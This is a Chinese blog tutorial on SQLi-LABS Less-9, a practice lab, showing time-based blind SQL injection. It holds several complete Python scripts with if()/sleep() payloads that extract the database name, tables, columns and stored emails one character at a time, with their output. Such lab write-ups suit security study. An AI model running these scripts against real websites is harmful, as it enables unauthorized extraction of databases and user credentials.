标签搜索

SQLi-LABS less-9

小七
2023-01-04 / 0 评论 / 84 阅读 / 正在检测是否收录...


这是SQLi-LABS less-9的教程,首先判断是什么类型。通过多次测试,我们发现他的页面并没有变化。

然后我们F12,来到网络这一列,多次请求,发现他们的数据大小不一样。
image.png)

这样就初步判断为单引号闭合方式,然后执行if()与sleep()来判断
?id=1 and if(1=1,1,sleep(2)) 与 ?id=1 and if(1=2,1,sleep(2))来对比执行时间。发现我们判断正确,时间不一样。
所以应该使用:时延方式来判断。
所以继续开始脚本跑。
首先判断数据库长度与数据库名。

import requests
import time

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}
url = "http://111.111.111.111/Less-9/?id=1"
start_time = time.time()
get_time_one = requests.get(url, headers=header)
end_time = time.time()
print("当前页面直接执行时间为:{}s".format(end_time - start_time))
# 然后我们开始使用延时程序获取数据库长度
get_length_payload = "' and if(length(database())={},sleep(2),1)--+"
db_length = 0
for x in range(1, 50):
    exec_url = url + get_length_payload.format(x)
    start_time = time.time()
    get_time_two = requests.get(exec_url, headers=header)
    end_time = time.time()
    load_time = end_time - start_time
    if load_time > 2:
        print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x))
        db_length = x
        break
# 获取到数据库长度之后开始遍历执行,来获取数据库名字
if db_length == 0:
    print("未获取到数据库长度")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789."
    db_name = ""
    get_db_name_url = "' and if(substr(database(),{},1) = '{}',sleep(2),1)--+"
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_db_name_url.format(i, char)
            start_time = time.time()
            get_time_three = requests.get(exec_url, headers=header)
            end_time = time.time()
            load_time = end_time - start_time
            if load_time > 2:
                print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}为:{}".format(load_time, i, char))
                db_name = db_name + char
                break
            elif char == ".":
                print("字典中没有第{}个字符,在最终显示已经被.代替".format(i))

    print("最终得到的数据库名为:", db_name)

得到最后的输出结果:
当前页面直接执行时间为:0.11469316482543945s
获取到不正常执行时间,执行时间为2.1107115745544434s,所以当前数据库的长度为:8
获取到不正常执行时间,执行时间为2.1146018505096436s,所以当前数据库第1为:s
获取到不正常执行时间,执行时间为2.1094131469726562s,所以当前数据库第2为:e
获取到不正常执行时间,执行时间为2.113433837890625s,所以当前数据库第3为:c
获取到不正常执行时间,执行时间为2.1134040355682373s,所以当前数据库第4为:u
获取到不正常执行时间,执行时间为2.106841802597046s,所以当前数据库第5为:r
获取到不正常执行时间,执行时间为2.105522632598877s,所以当前数据库第6为:i
获取到不正常执行时间,执行时间为2.0989420413970947s,所以当前数据库第7为:t
获取到不正常执行时间,执行时间为2.1081080436706543s,所以当前数据库第8为:y
最终得到的数据库名为: security

写好第一个脚本代码,接下来的代码就简单了,直接替换即可。

里面文字我就不替换了,直接替换里面东西即可,然后得到数据。

# 已知数据库名字,查找表名
import requests
import time

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}
url = "http://111.111.111.111/Less-9/?id=1"
start_time = time.time()
get_time_one = requests.get(url, headers=header)
end_time = time.time()
print("当前页面直接执行时间为:{}s".format(end_time - start_time))
# 然后我们开始使用延时程序获取数据库长度
get_length_payload = "' and if(length((select group_concat(table_name) from information_schema.TABLES where " \
                     "TABLE_SCHEMA='security' ))={},sleep(2),1)--+"
db_length = 0
for x in range(1, 50):
    exec_url = url + get_length_payload.format(x)
    start_time = time.time()
    get_time_two = requests.get(exec_url, headers=header)
    end_time = time.time()
    load_time = end_time - start_time
    if load_time > 2:
        print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x))
        db_length = x
        break
# 获取到数据库长度之后开始遍历执行,来获取数据库名字
if db_length == 0:
    print("未获取到数据库长度")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789."
    db_name = ""
    get_db_name_url = "' and if(substr((select group_concat(table_name) from information_schema.TABLES where " \
                      "TABLE_SCHEMA='security' ),{},1) = '{}',sleep(2),1)--+"
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_db_name_url.format(i, char)
            start_time = time.time()
            get_time_three = requests.get(exec_url, headers=header)
            end_time = time.time()
            load_time = end_time - start_time
            if load_time > 2:
                print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char))
                db_name = db_name + char
                break
            elif char == ".":
                print("字典中没有第{}个字符,在最终显示已经被.代替".format(i))

    print("最终得到的数据库名为:", db_name)

得到数据
当前页面直接执行时间为:0.11574578285217285s
获取到不正常执行时间,执行时间为2.1130292415618896s,所以当前数据库的长度为:29
获取到不正常执行时间,执行时间为2.1061453819274902s,所以当前数据库第1个字符为:e
获取到不正常执行时间,执行时间为2.118091583251953s,所以当前数据库第2个字符为:m
获取到不正常执行时间,执行时间为2.091547727584839s,所以当前数据库第3个字符为:a
获取到不正常执行时间,执行时间为2.1065824031829834s,所以当前数据库第4个字符为:i
获取到不正常执行时间,执行时间为2.114455223083496s,所以当前数据库第5个字符为:l
获取到不正常执行时间,执行时间为2.121629238128662s,所以当前数据库第6个字符为:s
获取到不正常执行时间,执行时间为2.113316535949707s,所以当前数据库第7个字符为:,
获取到不正常执行时间,执行时间为2.106614589691162s,所以当前数据库第8个字符为:r
获取到不正常执行时间,执行时间为2.108381509780884s,所以当前数据库第9个字符为:e
获取到不正常执行时间,执行时间为2.0973410606384277s,所以当前数据库第10个字符为:f
获取到不正常执行时间,执行时间为2.1180193424224854s,所以当前数据库第11个字符为:e
获取到不正常执行时间,执行时间为2.1169002056121826s,所以当前数据库第12个字符为:r
获取到不正常执行时间,执行时间为2.1003849506378174s,所以当前数据库第13个字符为:e
获取到不正常执行时间,执行时间为2.0978527069091797s,所以当前数据库第14个字符为:r
获取到不正常执行时间,执行时间为2.120124578475952s,所以当前数据库第15个字符为:s
获取到不正常执行时间,执行时间为2.091212749481201s,所以当前数据库第16个字符为:,
获取到不正常执行时间,执行时间为2.10874080657959s,所以当前数据库第17个字符为:u
获取到不正常执行时间,执行时间为2.0956385135650635s,所以当前数据库第18个字符为:a
获取到不正常执行时间,执行时间为2.108181953430176s,所以当前数据库第19个字符为:g
获取到不正常执行时间,执行时间为2.105844497680664s,所以当前数据库第20个字符为:e
获取到不正常执行时间,执行时间为2.0994632244110107s,所以当前数据库第21个字符为:n
获取到不正常执行时间,执行时间为2.0919923782348633s,所以当前数据库第22个字符为:t
获取到不正常执行时间,执行时间为2.097458600997925s,所以当前数据库第23个字符为:s
获取到不正常执行时间,执行时间为2.1086175441741943s,所以当前数据库第24个字符为:,
获取到不正常执行时间,执行时间为2.090602159500122s,所以当前数据库第25个字符为:u
获取到不正常执行时间,执行时间为2.107654333114624s,所以当前数据库第26个字符为:s
获取到不正常执行时间,执行时间为2.1169581413269043s,所以当前数据库第27个字符为:e
获取到不正常执行时间,执行时间为2.121765613555908s,所以当前数据库第28个字符为:r
获取到不正常执行时间,执行时间为2.11423659324646s,所以当前数据库第29个字符为:s
最终得到的数据库名为: emails,referers,uagents,users

这样就得到了表名:emails,referers,uagents,users

然后得到表名之后来获取每个表的列名。

# 已知数据库名字,表名,获取列名
import requests
import time

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}
url = "http://111.111.111.111/Less-9/?id=1"
start_time = time.time()
get_time_one = requests.get(url, headers=header)
end_time = time.time()
print("当前页面直接执行时间为:{}s".format(end_time - start_time))
# 然后我们开始使用延时程序获取数据库长度
get_length_payload = "' and if(length((select group_concat(column_name) from information_schema.columnS where " \
                     "TABLE_SCHEMA='security' and table_name='emails'))={},sleep(2),1)--+"
db_length = 0
for x in range(1, 50):
    exec_url = url + get_length_payload.format(x)
    start_time = time.time()
    get_time_two = requests.get(exec_url, headers=header)
    end_time = time.time()
    load_time = end_time - start_time
    if load_time > 2:
        print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x))
        db_length = x
        break
# 获取到数据库长度之后开始遍历执行,来获取数据库名字
if db_length == 0:
    print("未获取到数据库长度")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789."
    db_name = ""
    get_db_name_url = "' and if(substr((select group_concat(column_name) from information_schema.columnS where " \
                      "TABLE_SCHEMA='security' and table_name='emails'),{},1) = '{}',sleep(2),1)--+"
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_db_name_url.format(i, char)
            start_time = time.time()
            get_time_three = requests.get(exec_url, headers=header)
            end_time = time.time()
            load_time = end_time - start_time
            if load_time > 2:
                print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char))
                db_name = db_name + char
                break
            elif char == ".":
                print("字典中没有第{}个字符,在最终显示已经被.代替".format(i))

    print("最终得到的数据库名为:", db_name)

得到输出结果:
当前页面直接执行时间为:0.11669230461120605s
获取到不正常执行时间,执行时间为2.104663610458374s,所以当前数据库的长度为:11
获取到不正常执行时间,执行时间为2.1007297039031982s,所以当前数据库第1个字符为:i
获取到不正常执行时间,执行时间为2.1102514266967773s,所以当前数据库第2个字符为:d
获取到不正常执行时间,执行时间为2.113839626312256s,所以当前数据库第3个字符为:,
获取到不正常执行时间,执行时间为2.1136367321014404s,所以当前数据库第4个字符为:e
获取到不正常执行时间,执行时间为2.1104328632354736s,所以当前数据库第5个字符为:m
获取到不正常执行时间,执行时间为2.117844343185425s,所以当前数据库第6个字符为:a
获取到不正常执行时间,执行时间为2.0929653644561768s,所以当前数据库第7个字符为:i
获取到不正常执行时间,执行时间为2.108395576477051s,所以当前数据库第8个字符为:l
获取到不正常执行时间,执行时间为2.120378255844116s,所以当前数据库第9个字符为:_
获取到不正常执行时间,执行时间为2.115018367767334s,所以当前数据库第10个字符为:i
获取到不正常执行时间,执行时间为2.1137630939483643s,所以当前数据库第11个字符为:d
最终得到的数据库名为: id,email_id

这样,就得到emails的列名分别为:id,email_id
同理可得
referers:id,referer,ip_address
uagents:id,uagent,ip_address,username
users:id,username,password

然后就是跑里面的数据了,我们用emails来试试

# 已知数据库名字,表名,获取列名
import requests
import time

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}
url = "http://111.111.111.111/Less-9/?id=1"
start_time = time.time()
get_time_one = requests.get(url, headers=header)
end_time = time.time()
print("当前页面直接执行时间为:{}s".format(end_time - start_time))
# 然后我们开始使用延时程序获取数据库长度
# select group_concat(email_id) from emails
get_length_payload = "' and if(length((select group_concat(email_id) from emails))={},sleep(2),1)--+"
db_length = 0
for x in range(1, 500):
    exec_url = url + get_length_payload.format(x)
    start_time = time.time()
    get_time_two = requests.get(exec_url, headers=header)
    end_time = time.time()
    load_time = end_time - start_time
    if load_time > 2:
        print("获取到不正常执行时间,执行时间为{}s,所以当前数据库的长度为:{}".format(load_time, x))
        db_length = x
        break
# 获取到数据库长度之后开始遍历执行,来获取数据库名字
if db_length == 0:
    print("未获取到数据库长度")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm,_-!@#$%^&*()=+0123456789."
    db_name = ""
    get_db_name_url = "' and if(substr((select group_concat(email_id) from emails),{},1) = '{}',sleep(2),1)--+"
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_db_name_url.format(i, char)
            start_time = time.time()
            get_time_three = requests.get(exec_url, headers=header)
            end_time = time.time()
            load_time = end_time - start_time
            if load_time > 2:
                print("获取到不正常执行时间,执行时间为{}s,所以当前数据库第{}个字符为:{}".format(load_time, i, char))
                db_name = db_name + char
                break
            elif char == ".":
                print("字典中没有第{}个字符,在最终显示已经被.代替".format(i))

    print("最终得到的数据库名为:", db_name)

我在跑的时候发现跑不出来长度,但是我直接跑数据还能有数据,于是我判断是长度过长的原因。所以将长度改为500
由于数据过长,我就不展示里面的查询过程了,直接贴上最终数据结果。
最终得到的数据为: dumb@dhakkan.com,angel@iloveu.com,dummy@dhakkan.local,secure@dhakkan.local,stupid@dhakkan.local,superman@dhaskan.local,batman@dhakkan.local,admin@dhakkan.com

1

打赏

海报

正在生成.....

评论 (0)

取消